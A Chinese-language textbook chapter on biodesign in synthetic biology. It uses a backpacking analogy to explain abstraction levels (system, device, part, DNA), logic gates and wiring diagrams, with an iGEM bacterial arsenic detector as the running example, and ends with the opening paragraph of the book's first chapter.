第2章 生物设计基础

在本章中，我们探讨了生物设计的过程：设计具有可预测行为的生物系统。我们将考虑一个类比来说明抽象在设计中的用处。然后，我们将通过设计抽象来指定用于检测水中砷的系统。在此过程中，会有提示，以便您可以将这些插图和示例应用到您选择的生活技术的设计中。

说明自上而下的设计方法

生物设计对你来说可能是新的，所以我们将从一个更熟悉的场景开始。

想象一下，你想去度假。首先你需要决定什么类型的假期。您想要热带度假、背包旅行、城市探险吗？要做出决定，您可以考虑每个选项的好处。例如，热带度假可能会让人放松，但也很昂贵。现在，假设您对自然比对城市更感兴趣，因此您决定背包旅行是最佳选择。

决定了背包旅行的“大图”之后，接下来您需要开始计划您的旅行，从更多“大”问题开始：您想在山上还是沙漠中徒步旅行？你想去两晚还是五周？对于此示例，假设您决定进行为期三天的山区旅行。但现在您必须决定要参观哪些山脉。你会选择徒步阿巴拉契亚小径还是优胜美地？如果您住在西海岸并且只有三天的假期，那么优胜美地似乎是更好的选择。在您计划或设计您的旅行时考虑这些大局问题似乎很自然。

决定去优胜美地进行为期三天的旅行后，您需要做出更多决定。优胜美地是一个很大的地方。你想留在山谷还是去高地？假设您知道自己想要令人难以置信的美景，并且不介意陡峭的攀登或拥挤的人群，因此您决定爬上半穹顶，这是俯瞰山谷的标志性山峰。

做出此选择后，您接下来需要更具体并决定如何前往半穹顶。许多不同的小径可以带您到达那里。要计划您将采取的路线，您可能会坐下来查看详细的路线图，以决定您想要徒步旅行的英里数、您想要的海拔变化以及您想要留在水边的距离。这些细节将影响您攀登半穹顶的方式以及您将走多远。

最后，考虑到选择的路线和攀登的细节，您需要列出您需要的设备。其中一些设备可能是标准的，例如登山靴和防晒霜，但也可能有一些特殊物品，例如您需要用于 Half Dome 电缆的橡胶手套。如果您没有这些手套，或者您无法获得某些设备，您可能需要相应地调整攀登的细节。做出所有这些决定后，剩下要做的就是出去享受假期。

从规划假期到生物设计

现在让我们看看这个假期计划过程是如何工作的，以便我们可以看到它与生物设计过程有何相似之处。第一步是确定您想要解决的挑战：您需要一个假期！接下来，您集思广益地提出了几种可能的方法：热带度假、城市探险或背包旅行。这些方法都不是“正确”或“错误”，但您考虑了它们的相对优势和劣势来解决您当前的问题，并决定背包旅行是最好的方法。

然后，您开始计划旅行的细节，使用以下抽象级别来实现您的最终计划（另请参见图 2-1）：

• 你从大局开始——我们称之为生物设计系统——并决定你想去优胜美地进行为期三天的旅行。
• 下一个级别，大致与我们所说的设备相关，是决定您要攀登半穹顶。
• 您旅行的下一个计划步骤是选择您将要使用的特定路径，基本上定义了您的半圆顶“设备”的机制。这些轨迹对应于我们在生物设计中所说的部分。
• 最后，设备清单描述了您需要购买或制作的实体物品来实现您的旅行。在我们的生物设计类比中，这些部件可以被认为是设计的 DNA：它们是您需要收集和组合以构建系统的实际物理部件。

抽象是生物设计的一个重要方面。它使您可以思考和传达您的计划，而不会一下子陷入细节中。一些对生物设计有用的抽象级别包括系统、设备、部件和 DNA。无论您是否意识到，您在计划假期时都经历了非常相似的抽象级别。

图 2-1 表示不同抽象级别的符号。抽象层次结构顶部蓝色圆圈中的思想气泡代表主题区域的选择。蓝色圆圈中的卡通细胞或病毒代表生物抽象的系统级别。蓝色圆圈中的设备图标是布尔非门，借用了电气工程的设备符号。蓝色部分图标使用功能性 DNA 元件的符号，即启动子和开放阅读框，蓝色的 DNA 图标显示编码遗传部分的四种核酸。它们在文本中背包类比的相似之处显示在右侧。

此设计过程有一些关键特性值得关注。首先，一路上没有任何答案是“对”或“错”。每个决定都是为了最好地满足您的需求。其次，您没有一次指定所有内容。例如，您没有立即决定如何攀登半穹顶；您刚刚提供了一个通用规范，这就是您想要做的。这有助于使旅行的计划部分易于管理。想象一下，如果在这个设计过程的一开始，您试图跳到部件级设计，并决定在世界任何地方进行远足旅行要遵循的路径，如图 2-2 所示。即使您将自己限制在三天的背包旅行中，您基本上也会在地球上的每条远足径之间进行选择，这显然是不切实际的。你会被各种可能性压得喘不过气来，你的旅行可能永远不会发生。通过使用不同的抽象级别，设计路径上的每个决策都变得易于管理。抽象是在设计过程中轻松处理不太详细的描述的强大方法，因为您知道您可以在需要时指定必要的详细级别。最后，您以可以修改的方式设计了您的旅行。如果您突然发现自己有 10 天而不只有 3 天，您可以保留您的 Half-Dome 计划，但添加另一个“设备级”计划；例如，您可以攀登 El Capitan，这是公园内其他著名的山峰之一。

图 2-2 从抽象层次结构的中间开始。以城市为背景的优胜美地地图显示，在缩小搜索范围以排除城市之前寻找远足小径是徒劳的。

在我们从计划假期转向计划生物技术之前，还有一个类似的特征需要指出。在您决定远足路线后，您可以创建自己的地图以更好地可视化您的计划或与其他背包客分享。在生物设计中，这张地图可以被认为类似于遗传系统的接线图，这是合成生物学采用的一种电气工程形式，用于传达每个系统的一些设计元素。我们将在本章后面讨论接线图的绘制和解释。

从设计到实施

成功的设计最终将被实施，尽管本章重点关注合成生物学的设计部分，但值得简要扩展我们的背包旅行类比，以展示它如何应用于实施阶段。

在计划背包旅行时，您从非常广泛的规范开始，然后向下钻取，直到达到最精细的抽象级别：设备列表。请注意，这只是一个列表，而不是实际项目本身。从列表中的项目到实际有形对象的过渡代表了从设计过程的最后一步到实现的第一步的过渡。为了实现您的设计（即您的旅行），您将开始从这个细粒度级别进行备份，直到您可以出发并享受您计划的假期。这将涉及积累设备清单上的物品，可能是通过在当地的户外装备商店购买它们或在地下室的垃圾箱中挖掘。然后，当您准备好所有装备后，您将收拾行囊，前往登山口，开始您的旅程。

对于合成生物学设计，DNA 片段是实现设计所需的“设备”。这些是编码设计系统的基因、启动子、终止子和其他遗传成分的 DNA 物理片段。要实施该设计，您需要获得这些基因碎片，就像您需要为徒步旅行积累装备一样。您可以通过多种方式获取 DNA 片段。这些方法包括聚合酶链式反应 (PCR) 和从头合成，这些方法在 DNA 工程基础章节中进行了详细探讨。您可能已经在实验室中获得了一些可用的 DNA 部分。当您拥有所需的所有物理 DNA 片段时，您就可以将它们缝合在一起并开始构建您设计的系统。

生物设计过程概述

没有单一的、正确的方法来设计生物技术。根据您的系统规格和您已经拥有的规格，您可以通过多种方式开始。如果您从头开始，我们在这里列出了一些有助于生物设计过程的步骤。我们发现这是一个有用的框架，并且易于根据与项目相关的专业知识、时间框架和目标进行修改。这个设计过程指定了我们抽象层次的不同层次的细节，从系统级设计到设备、部件，最后是 DNA。简而言之，这里是使用的生物设计步骤：

• 第 1 步：确定您想要解决的挑战领域
• 第 2 步：集思广益解决挑战的方法
• 第 3 步：确定方法
• 第 4 步：在抽象层次结构的每个级别指定您的系统

确定领域和挑战

你首先选择一个让你感兴趣和兴奋的问题。表 2-1 提供了一些可能的起点。此表分为两类：领域和挑战。领域非常广泛，指的是整个问题或学科，而挑战是指该领域中可能需要解决的特定元素；该表仅提供了合成生物学可以解决的许多可能领域和挑战的几个例子。

表 2-1 通过生物设计解决的一些主题领域和相关挑战

领域：食物或能源
挑战：人们需要吃饭。飞机、火车和汽车也需要吃饭。人类面临的一项重大挑战是，面对不断增长的人口和对廉价燃料的日益依赖，如何满足每个人的需求。当前的食品和燃料生产方法因其对环境和全球粮食安全的负面影响而面临严厉批评。我们如何利用合成生物学以可持续的方式为世界生产食物或能源？

领域：环境
挑战：从爱情运河到太平洋大垃圾带，人类在保护地球方面没有很好的记录。但是，为子孙后代找到一种保持清洁空气、水和土地的方法是我们作为一个物种生存的关键。我们如何使用合成生物学来帮助清洁我们的星球并保护其自然生物多样性？或者，如果地球是一个失败的原因，我们如何使用合成生物学来改造另一颗行星或小行星？

领域：健康或药物
挑战：人们早就知道微生物会导致疾病，但最近人们发现它们也可以成为健康的基础。我们如何设计微生物或其他生物来帮助检测和治疗疾病？是否有用于管理慢性疾病或外科手术甚至保持身体健康的合成生物学应用？

领域：制造
挑战：细胞中充满了微小而复杂的纳米级机器，例如核糖体，它是生产蛋白质的装配线和工厂车间。这些蛋白质具有多种功能，从进行化学反应到充当皮肤和头发等组织的结构材料。我们如何利用细胞内在的制造技能来生产新的化合物、材料或结构？

领域：新的应用领域
挑战：世界上如此多的挑战可以从生物工程师的角度受益。考虑一下您在新闻中听到的问题或您在自己的生活中遇到的问题。我们可以想象合成生物学有哪些全新的应用领域？全球或本地思考，只要确保你跳出框框思考。

领域：基础进步
挑战：合成生物学站在技术进步的肩膀上，其历史可以追溯到 35 年前随着重组 DNA 技术的发明。为了确保该领域继续发展，它需要开发新的、改进的工具和技术，以帮助简化工程生物学的整个过程。哪些基础技术将在未来几年推动合成生物学的发展？

为了缩小范围，选择一个重点关注的领域会很有用；任何领域都面临着多重挑战，表 2-1 仅提供了一小部分可能性。在决定要解决的挑战时，准确描述问题很重要。但在这一点上，你不应该包含任何关于你计划如何解决它的具体想法。例如，像“找到一种方法去消灭只感染了疟疾的蚊子”之类的东西会让你走上一条比更模糊的“治愈疟疾”更好的道路，但请注意，这两个描述都没有说明如何实施这个想法。

如果在这个阶段，你发现你有一长串想要解决的挑战，你可以应用下面的一些问题。这些问题可以在一定程度上帮助缩小关注范围，让您考虑您拥有的更具影响力和可实施性的想法，同时搁置一些具有更好替代解决方案或合成生物学无法轻易解决的可能性：

我如何准确地描述我所关注的挑战和机遇？

明确界定您所看到的问题以及您认为可以解决该问题的原因，这将有助于以后的设计决策。

如果我的项目完全成功，它会产生多大的影响？会引发什么担忧？

想象成功将帮助您决定一个项目是否值得做。一个对巨大挑战产生微小影响的想法是有效的，就像一个完全解决我们面临的更小问题的项目一样。而且，您可以决定哪个对您更有吸引力。但是，出于道德或实际原因永远不会采用的设计应该被认为不那么吸引人。生物设计中的伦理考虑在生物伦理学基础章节中得到了更广泛的考虑。

我可以使用或其他人使用过的哪些其他技术来解决这个问题？

生物技术并不总是解决问题的正确方法。如果有其他更便宜、可靠或简单的方法来解决你发现的现实问题，你的想法可能就不那么有吸引力了。

关于这个挑战以及我解决它的方法，我有什么不知道的？有什么不被知道或者不可能被知道？

科学为我们提供了很多关于某些事情的信息（例如，基因变化如何导致某些疾病状态），而很少告诉我们其他事情（生命如何在火星上生存）。当你开始深入研究细节时，几乎任何项目都会有一个陡峭的学习曲线，所以知道你能找到什么以及什么仍然是个谜可能会帮助你决定一个项目的想法。

所有这些问题都很重要。您的想法列表可能会为某些问题提供非常好的答案，但对其他问题的答案却很弱。一般来说，您对这些问题的回答越准确，您在采取下一个设计步骤时就会越好。

想象一下，您选择解决砷污染水带来的挑战，这是孟加拉国和西孟加拉邦的一个问题。因为没有简单的方法来确定水是否被污染，所以住在那里的人们一直在喝被砷污染的水并生病。事实上，一个学生团队在名为国际基因工程机器 (iGEM) 的合成生物学设计竞赛中解决了这一挑战。接下来，我们将介绍该团队的项目，以提供生物设计在行动中的具体说明。

iGEM 团队想要设计一种简单的方法来确定水是否被砷污染。它决定设计一个细胞，以便在存在砷时产生某种易于检测的信号。这种通俗易懂的系统描述，“当有砷存在时，可以产生人类可检测信号的某种细胞”，是设计过程中此时适合的系统级描述的一个很好的例子。它是精确的，但不是过于机械化。随着项目想法变得更加细化，它将被进一步指定，但在这里保持这种高抽象水平是有帮助的。

您还可以看到运用之前的问题列表将如何帮助 iGEM 团队确认其选择了合适的主题。问题很明确：否则饮用水中无法检测到的砷会对健康造成严重影响。该团队还精确定义了该方法，该方法相对简单：构建一个在砷存在的情况下产生人类可检测信号的系统。如果它成功构建了一个易于使用的砷检测系统，它可以显着改善孟加拉国和西孟加拉邦人们的健康，特别是考虑到应对这一挑战的其他技术解决方案价格昂贵，从而限制了这些解决方案在潜在污染地区的广泛分布。

头脑风暴解决方案

在确定了要解决的问题之后，就该开始考虑解决问题的不同方法了。在这个阶段，棘手的是你还不想陷入细节的泥潭。我们仍在谈论可以为稍后出现的更详细设计提供框架的大局构想。任何问题都有许多可能的解决方案。最终，有些人可能最终会比其他人更好，稍后您将在决定追求的方法时探索这些优势和劣势。不过，在这一点上，您真的可以尽情发挥想象力。

对于我们的砷检测系统，一些可能的解决方案可能是：

• 接触砷时产生气味的细胞
• 细胞在接触砷时会迅速开始生长和分裂
• 细胞暴露于砷时会呈现出明显的颜色
• 你的想法在这里！

如果您发现此时无法提出想法，则可能是您过于关注如何实施它们的细节，这可能会阻碍您的创意。请注意，这些想法都没有表明细胞将如何检测砷，甚至我们正在谈论的是哪种细胞。请记住，我们在这里考虑的是大局，而不是细节！

决定一种方法

现在是时候从您在上一步中列出的想法中选择一个（或两个）并开始指定设计了。在这一点上，我们只是缩小选择范围，最终找到一种能够满足您定义的挑战的单一方法，但请记住，我们还没有锁定任何方法。设计是一个迭代的过程。当您考虑您的设计并构建一些原型时，您几乎肯定会遇到障碍。在某些情况下，您可以克服这些障碍，但在其他情况下，返回设计过程的早期阶段并完全重新考虑您的方法可能是最有效的。这不是失败；这是设计和工程工作方式的一个乐观特征。那里有一个很好的解决方案，你可以继续寻找它，并且，当你这样做时，你将从这个过程中学到一些东西。在权衡想法时，您可以返回第 24 页“确定领域和挑战”中的问题来指导您的思考。诸如“您如何准确地定义挑战？”之类的问题。以及“你的项目能带来多大的改变？”将阐明您工作的意图和规范。

当您确定了一个项目构想时，例如 iGEM 团队的砷检测项目构想，是时候做出一些选择了。 iGEM 团队需要满足特定的设计规范。他们希望确保他们的细胞产生的任何信号都可以被任何进行测试的人轻松检测到，并且他们还希望确保响应相对较快，因此收集水的人不必等待很长时间才能知道是否可以使用该水源的水。要在将水变成特定颜色、产生气味或以不同速度增长的砷检测器之间进行选择，团队可以考虑以下因素：

• 基于现有生物部分和方法的知识实施其系统的预期可行性
• 该方法的灵活性，因为可推广的系统可以在以后用于其他应用程序
• 设计的预期成功，简单的设计通常有更大的成功机会

在权衡这三种方法时，有些事情变得清晰起来。在砷存在的情况下产生的气味可能不是一个足够可检测的指标，并且可能存在许多其他相互竞争的环境气味。增长率的变化可能太慢而无法检测到，也可能是由砷以外的许多其他因素引起的。因此，在三个项目创意中，砷引起的颜色变化似乎最具吸引力。

值得注意的是，此时仍未具体说明设计的细节。仍然没有决定生产什么颜色或如何感知砷。相反，只选择了大方向。实施该方法的一些细节已经到位，但我们仍然没有陷入细节——接下来！

使用设备、部件和 DNA 指定您的系统

随着高级系统设计到位，是时候开始指定它将如何工作，深入研究实施细节。然而，与其直接跳到它的遗传学上，我们将逐步了解不同的抽象层。

在上一步中，您制作了一个广泛的描述来概述系统应如何响应不同的刺激和环境条件。要构建这样一个系统，您需要深入到 DNA 水平并决定基盘，这是用于描述运行您的基因程序的有机体的术语。为了帮助制定系统规范，有两个中间抽象层：设备和部件，如图 2-3 所示。

由一个或多个部件组成的设备将一些我们可以指定的“输入”转换为我们可以检测到的“输出”，或者可以输入另一个设备。例如，对于砷检测示例，iGEM 团队知道它需要某种方法来检测砷并产生颜色作为响应。该团队本可以使用一种设备来实现其系统，即一种可以感知砷并产生颜色的设备。或者（事实上，他们选择做什么），该系统可以用两个设备实现：一个用于检测砷，另一个用于颜色生成。砷传感装置的输入是砷，其输出是颜色生成装置可以检测到的信号。颜色生成设备的输出是一种颜色。这些非常广泛的规范足以定义实现砷检测系统所需的设备，我们将这些设备中的每一个如何单独工作以及它们如何相互通信的细节留在下一个抽象级别中考虑。

图 2-3 生物设计的扩展抽象层次结构。抽象可以支持复杂的系统设计。这种抽象层次包括“主题领域”作为顶层，强调需要选择一个广泛的挑战来关注。抽象还包括整个系统，其中包括对您的设计理念的简单语言描述。然后，该系统可以分解为特定的设备，这些设备由 DNA 构建的某些部件组成。

在某些情况下，设备可能会执行类似于计算机科学和电气工程中常用的逻辑功能。我们稍后会更详细地描述布尔逻辑函数，但简单来说，示例包括一个 AND 门，它仅在所有需要的蜂窝信号都存在时生成输出，以及一个 OR 门，它在任何所需信号存在时生成输出。因为您可以通过多种方式实现这些输入、输出和逻辑设备，所以它们在抽象层次结构中比构成它们的部件更高，我们将在接下来进行探讨。事实上，有可能（甚至是可取的）为您的系统构想提供一个设备列表，而无需考虑如何制作它们。

部件是编码基本生物学功能的 DNA 序列，例如启动子、开放阅读框 (ORF) 和核糖体结合位点，这些在 DNA 工程基础章节中有更详细的描述。为了实现设备所需的功能，合成生物学家用简单的部件组装设备。有时，DNA 序列可以是一部件，有时它可以是一个设备，这取决于它在系统中的运行方式。不过，一般来说，设备可以通过它们在系统中的生物学后果来定义，并且它们通常由多个部件组成。砷传感装置可能需要一个与砷结合的蛋白质部件，以及一个启动子部件来启动该蛋白质编码序列的转录，而产生颜色的装置可能包括一个不同的蛋白质部件，它会产生一些彩色的化学信号。该装置可以使用与砷传感装置中使用的相同或不同的启动子部件来表达作为装置输出的产生颜色的蛋白质。

我们将设备和部件视为不同的抽象级别，因为这对我们设计和构建系统很有帮助。然而，设备和部件之间的边界并不像元素周期表上元素之间的边界。可以通过质子数来定义原子，但没有通用的物理定律来说明什么是“设备”和什么是“部件”。实际上，您可能会遇到可以将相同的生物组件视为设备或部件的情况。正如我们在这个设计环境中多次强调的那样，没有“正确”或“错误”的答案。相反，这些不同的抽象层对于设计人员在考虑复杂系统时可能非常有用，而对设计人员的实用性是这种抽象层次结构中最重要的方面。因此，不要让自己陷入困境，无论您是在谈论设备还是部件；这些不同术语的重点是帮助您进行设计。接下来的几个例子将说明这些不同标签的用途。

系统级设计

我们将关注系统级设计的两个组成部分：系统行为和基盘选择。

您在生物设计框架中遵循的早期步骤帮助您决定系统的行为。对于砷项目的想法，iGEM 团队将总体期望行为定义如下：砷会导致可见的颜色变化。这是系统的“简单语言”描述。传达系统行为的第二种方法是使用真值表，这是一种广泛用于电气工程和计算机科学的基本逻辑工具。真值表传达了系统在存在或不存在输入的情况下应该如何表现。对于砷检测系统，真值表很简单：如果输入（砷）不存在，则不应该有输出（不应该产生颜色）；如果输入存在，则输出应打开（应生成颜色）：

这个逻辑也可以用其他几种方式表达；例如，其中 false 对应于“off”，true 对应于“on”：

或者，您可以使用数学符号，其中“-”对应于“off”，“+”对应于“on”：

或者，您可以使用二进制代码，其中“0”对应“off”，“1”对应“on”：

请记住，这些都代表系统的相同基本逻辑，只是使用不同的词汇。当您构建更复杂的系统时，您可能需要更复杂的真值表。在设计复杂设备时，真值表也很有用。我们在随后的逻辑器件描述中提供了一些示例。

系统级设计的第二个方面是确定您将使用哪个宿主有机体或基盘（见图 2-4）来运行您的基因程序。您可以使用许多不同的生物体和细胞类型作为设计系统的基盘，包括细菌、酵母、病毒和哺乳动物细胞。合成生物学最常用的两种基盘是大肠杆菌和酿酒酵母。这两款宿主特性良好、安全且运行相对可靠，使其成为许多设计系统的合适基盘。但根据应用，明智的做法是选择具有特定生长特征的宿主或具有对设计有用的天然蛋白质的宿主。回到本章开头的背包类比，优胜美地是选择的系统，但如果你不喜欢陡峭的攀登或拥挤的人群，它就不是正确的系统选择，你可能需要重新考虑你的远足决定优胜美地与阿巴拉契亚小径，或选择优胜美地的高地而不是山谷。

图 2-4 选择基盘。合成遗传程序通常位于相对容易理解的实验室系统和细胞中，包括此处显示的那些。基盘从最小（左）到最大（右）排列，图标下方显示了大致尺寸和显微工具。

设备级设计

在您指定了系统级设计之后，您可以开始着手进行设备级实现——从我们的背包类比中爬上 Half Dome。同样，请记住，您不需要指定设备工作的确切物理机制。相反，如图 2-5 所示，我们将使用“砷检测器”和“颜色生成器”等通用标签来突出它们的作用，但不一定是它们的作用方式。换句话说，此时您可以命名您想要的任何类型的设备，并且您无需担心它是如何工作的，甚至它是否真的存在。看起来好像您正在凭空拉出设备，但自然生物系统是如此多样化，以至于我们可能会根据现有的生物部件或对其进行小的修改来制造我们想要的任何类型的设备。

图 2-5 两个设备的“黑匣子”描述。砷检测和颜色生成设备的展示方式说明了它们的用途，而不是它们的工作原理。

除了构建系统所需的设备类型之外，另一个考虑因素是最优的设备数量。例如，制造砷检测系统的 iGEM 团队可以为其系统指定两个设备：一个砷检测器，以砷为输入并提供信号作为输出；以及一个颜色生成设备，以来自砷检测器的信号作为输入并产生颜色作为输出。该团队本可以使用单个设备实现相同的系统功能，该设备将砷作为输入并产生颜色作为输出，但这样的设备将是高度专业化的，并且可能只对他们的一个系统有用。通过将系统分成两个设备，该团队定义了更通用的设备，这些设备将来可能对其他应用程序有用。考虑定义在各种应用中具有长期效用的设备是有帮助的。

当系统需要多个设备时，使用电气工程中的另一种工具来整理设计细节会很有用：接线图。电气工程师使用接线图以图形方式表示电路，该接线图解释了部件和设备如何相互连接。它们可以是字面的，连接代表实际的电线，而部件代表特定的电气元件，例如晶体管和电容器，或者它们可以是设计应该如何工作的更抽象和概念性的说明。对于我们的生物学实现，接线图大多是概念性的，因为我们没有实际的电线来连接系统的不同组件。制作这样的接线图可能是制定设计和与其他合成生物学家交流的有用方法。这些接线图就像您在背包旅行时绘制的地图，以攀登半穹顶；您既可以完善您的计划，也可以与他人分享详细信息。

对于我们的砷检测系统，接线图非常简单，如图 2-6 所示。

图 2-6 砷检测系统的接线图。仍然是黑匣子的砷检测器设备连接到同样是黑匣子的颜色生成器设备，说明在存在砷输入的情况下进行颜色输出。

如图 2-6 所示，这只是我们已经口头描述的内容的直观表示；砷是砷传感装置的输入，当砷存在时，它会产生一个信号作为输出。然后，该信号充当颜色生成设备的输入，生成颜色作为输出。随着系统变得更加复杂，这些图表会变得更加复杂。您可以在后面的逻辑设备描述中看到一些其他示例和变体。

逻辑设备

真值表是一种表达系统如何响应不同输入组合的方式，我们称之为响应的布尔“逻辑”。

想象两种化合物，A 和 B。根据 A 和 B 的身份以及特定系统的目标，我们可能会设计对这两种化合物组合的不同响应。为了说明，让我们进一步阐述我们一直在考虑的砷检测系统，并想象我们想要感知环境中的许多化合物。为了保持一般性，我们将化合物称为 A、B、C 等。也许 A 和 B 本身都是有毒的，所以我们希望我们的系统在它们中的任何一个存在时做出响应。或者，也许两者都不是单独的有毒物质，但如果它们都存在，它们会发生反应以产生有毒化合物 C。在这种情况下，我们只希望我们的系统在两者都存在时做出反应。

我们可以在真值表中表示这两种情况。 真值表代表所有可能的输入组合，并为每个组合指定一个输出。输入列在两个表之间不会改变。相反，输出取决于系统的逻辑和存在的输入。例如，以下是在 A 或 B 存在时应触发的系统的真值表：

这样的真值表表示或门的操作，在接线图中给出了如下所示的特定符号：

这是第二个系统的真值表，只有当 A 和 B 都存在时才应该触发：

下一个真值表代表一个与门，它由一个与或门的符号略有不同但有意义的符号表示：

还有其他种类的输入和输出的逻辑组合不同于 AND 和 OR 门所描述的那些。例如，布尔非门是将输入信号反转为相反的门。它显示在下面的真值表中，并在下图中象征性地显示（注意非门只接受一个输入）：

通过这种视觉语言和逻辑门的一些简单组合，可以构建非常复杂的系统，包括电子系统和生活系统。例如，以下 NOR 门的真值表与 OR 门的表正好相反：

在视觉上，或非门表示为一个在右端带有一个圆圈的或门，在其函数中添加一个非并使其成为一个或非门。

启动合成生物学领域的关键研究出版物之一建立了一个在生命系统中运行的 NOR 门。这项工作来自波士顿大学詹姆斯柯林斯博士的实验室。他的研究小组使用遗传部件构建了两个 NOR 逻辑门，并将它们交叉连接以创建一个锁存器。

部件级设计

当您在部件级别进行设计时，您开始（终于！）讨论您的设备如何实际执行分配的任务。让我们回到我们的远足计划上。在那种情况下，有一些路径和预先存在的方法可以实现基本计划。同样，在规划基因程序时，有一个生物“部件”工具箱来构建设备。这些部件包括编码转录因子或荧光蛋白的 ORF、使 RNA 聚合酶开始转录的序列（“启动子部件”），以及编码基因表达调节因子的各种序列，仅举几例。世界上存在的部件数量几乎是无穷无尽的，而且完全是压倒性的。然而，有一些生物部件的目录，例如标准生物部件的登记册，以促进这种基于部件的生物设计方法。您可以在这些开放目录中找到的部件和设备已记录在案，目的是您可以将这些部件重新用于新的生物设计项目。

为了说明部件级设计，让我们最后一次回到砷检测系统。该系统需要能够检测砷的设备，以及将砷的存在与否传送到系统中的下一个设备（即显色设备）的某种方式。有多种方法可以构建砷检测装置。一种直接的方法是基于自然界中发现的一种对砷敏感的蛋白质。 实现砷检测器装置可以通过三个简单部件的组合来完成，即启动子（右上箭头）开始转录设备的 DNA，核糖体结合位点（上半圈）开始翻译其 mRNA，并使用 ORF（长播放按钮）来编码砷敏感蛋白。类似地，颜色生成装置可以由简单的启动子部件、核糖体结合位点部件和导致溶液或细胞本身颜色变化的 ORF 构成。

按照设计，这些设备会感应砷或产生颜色，但为了将信息从一个设备传输到另一个设备，我们需要有点聪明。 为了使砷检测器能够与颜色发生器“对话”，砷检测器的输出必须影响颜色发生器的输入。一种常见的方法是让第一个装置的输出是一种可以调节第二个装置的转录速率的蛋白质。在这种情况下，砷结合蛋白也是一种转录抑制因子，在没有砷的情况下，它会与产生颜色的基因的启动子结合，从而阻断其表达。砷在存在时会与砷结合蛋白结合，使其构象发生改变，使其不再与启动子结合，从而释放启动子以转录产色基因。随着我们继续探索合成生物学系统，您将看到这个主题的许多变化。

像这样的语言描述很难理解，所以我们有另一种视觉语言来表达遗传回路的工作原理，如图 2-7 所示。

图 2-7 将“黑匣子”设备拆开包装。砷检测装置和显色装置均由启动子、RBS和ORF组成。在没有砷的情况下（上图），ORF 1 的产物会抑制启动子 2，因此颜色生成器“关闭”。在砷存在的情况下解除抑制（底部面板）使颜色生成器设备可以“打开”。

图 2-7 中的图表显示，在没有砷的情况下，砷检测设备的输出将抑制显色设备的功能。当砷存在时（如果井水被污染），抑制作用就会解除，在这种情况下，通过另一种抑制剂的作用，允许第二个设备打开颜色生成。

与在抽象层次结构中的每个其他级别做出的设计选择一样，这里也有根据您尝试设计的系统的细节做出的决定。例如，所有启动子部件都是转录因子和 RNA 聚合酶结合的短 DNA 序列，它们总是位于基因的上游，将 DNA 转录成 mRNA 链，然后核糖体将其转化为蛋白质。但是，有许多不同的启动子，有的强，有的弱，还有一些可以以有趣的方式进行调节，因此选择合适的启动子也是设计过程的一个重要方面。砷检测系统要求砷检测蛋白持续存在，因此选择该 ORF 的启动子是因为它可以保持“开启”状态。这种类型的启动子被称为组成型启动子，并且注册表中有许多组成型启动子。注册表中还有一些不适合该系统的启动子。例如，一些称为诱导型启动子的启动子在特定条件下（例如糖的存在或附近生长的细胞数量）具有活性。您不希望为砷检测装置使用诱导型启动子，因为这将导致只有在某些化合物或条件存在时才会表达砷检测蛋白。不过，这种诱导型启动子可能正好适合构建其他系统。

在指定最终所需的序列后，有几种构建它的策略。这些组装策略的详细信息是 DNA 工程基础章节的主题，但简而言之，大多数 DNA 组装涉及从头 DNA 合成和分子生物学工具（如 PCR、限制性内切酶和分子克隆）的组合。

下一步是什么？

在本章中，我们介绍了生物设计的基础知识，并说明了在您进行自己的设计时可能有用的不同抽象层和符号表示。我们强调的一个想法是，在您完成设计过程时，没有“正确”或“错误”的答案。回到本章开头的类比，设计是一段旅程。 在您努力开发您的生物设计时，您肯定会经历一些错误的开始和错误的转折，但这些都是学习经验，而不是错误，这将帮助您更好地了解您的系统并在您完成设计过程时为您的设计过程提供信息设计-构建-测试迭代的循环。

当然，设计只是第一步，我们将在本章结束时对下一阶段进行简短的探索，即设计的实现。再次回到我们的背包类比，这次旅行的实施将涉及购买或制造必要的设备、打包行李、到达登山口，然后开始徒步旅行。在徒步旅行期间，您可能会花一些时间看看您面前的地面，确保您不会被树根绊倒，或者可能会注意到一朵野花；其他时候，您可能会休息一下，抬头欣赏周围的整个环境，或者在到达半穹顶时欣赏一览无余的景色。您可能会偏离轨道一次或两次（或更多），或者您可能会意识到您计划的原始路线实际上并不是您想要采取的路线并改变您的计划。您可能会变得过于脱水，甚至无法到达半穹顶的顶部。尽管这样的失败可能会令人沮丧，但您将学到一些有关您的设计的知识，这将帮助您改进下一次旅行的计划。无论结果如何，您都将拥有全新的知识财富，可以将其应用于下一次设计迭代。

购买或制造远足设备对应于购买或制造我们的生物设计所需的 DNA 序列，您可以将打包行李视为在需要它们的地方插入这些 DNA 序列，以构建设计的生物体。然后，到达起点并开始徒步旅行是我们设计的测试过程。我们可以进行不同类型的测试来查看设计的各个元素，比如小野花，我们还可以进行测试来调查系统的整体行为，比如从半穹顶的顶部看风景。同样重要的是要记住，这是完全正常的，预计会出现一些错误的转弯，改变我们对想要走的路线的想法，或者有时会意识到我们不会达到我们想要的结果。在所有这些情况下，我们可以利用我们在此过程中学到的知识来改进我们设计的下一次迭代。

就像我们假设的背包旅行一样，您可以将生物设计及其相关实施视为一次旅程。在那段旅程中，我们最终从不同的角度和抽象级别来看待我们的系统，我们发现自己使用不同类型的工具来实现我们的目标，毫无疑问，我们在走上正轨之前会走错路。只要我们密切关注系统的行为方式，我们就会一路学习，这将提高我们的理解和下一次设计迭代。

额外阅读和资源

• Danchin, A. 扩充合成生物学：不要忘记基盘。FEBS Letters 2012; 586(15): 2129-37。
• Galdzicki, M. 等，合成生物学开放语言 (SBOL) 为合成生物学中的设计交流提供了社区标准。Nature Biotechnology 2014; 32: 545-50。
• Gardner, T. S., Cantor, C. R., Collins J. J. 在大肠杆菌中构建基因切换开关。Nature 2000; 403(6767): 339-42。
• Marchisio, M. A., Stelling, J. 数字合成基因电路的自动设计。公共科学图书馆 2011；DOI：10.1371/journal.pcbi.1001083。
• Oremland, R. S., Stolz, JF. 砷的生态学。Science 2003; 300(5621): 939-44。
• 网站：砷检测器 iGEM 项目 ( http://bit.ly/arsenic_detector )。
• 网站：生物部件登记处 ( http://parts.igem.org/Main_Page )。

第1章 合成生物学基础

欢迎来到 BioBuilder 计划！我们很高兴您想将合成生物学工具带入您的课堂。在线，我们有多种材料帮助您入门，包括一些实用的实验室视频教程、Microsoft PowerPoint 幻灯片、课程指南和实验室工作表。在这本书面手册中，我们介绍了合成生物学的基本思想、在该领域和 BioBuilder 实验室中探索的生物学的一些关键方面，以及在 BioBuilder 程序中运行实验时使用的一些有用信息。在本章中，我们将介绍合成生物学的基本概念，解释它与传统生物化学和基因工程的不同之处，并开始探索一些基本的工程原理，这些原理将告知我们如何使用合成生物学解决问题。

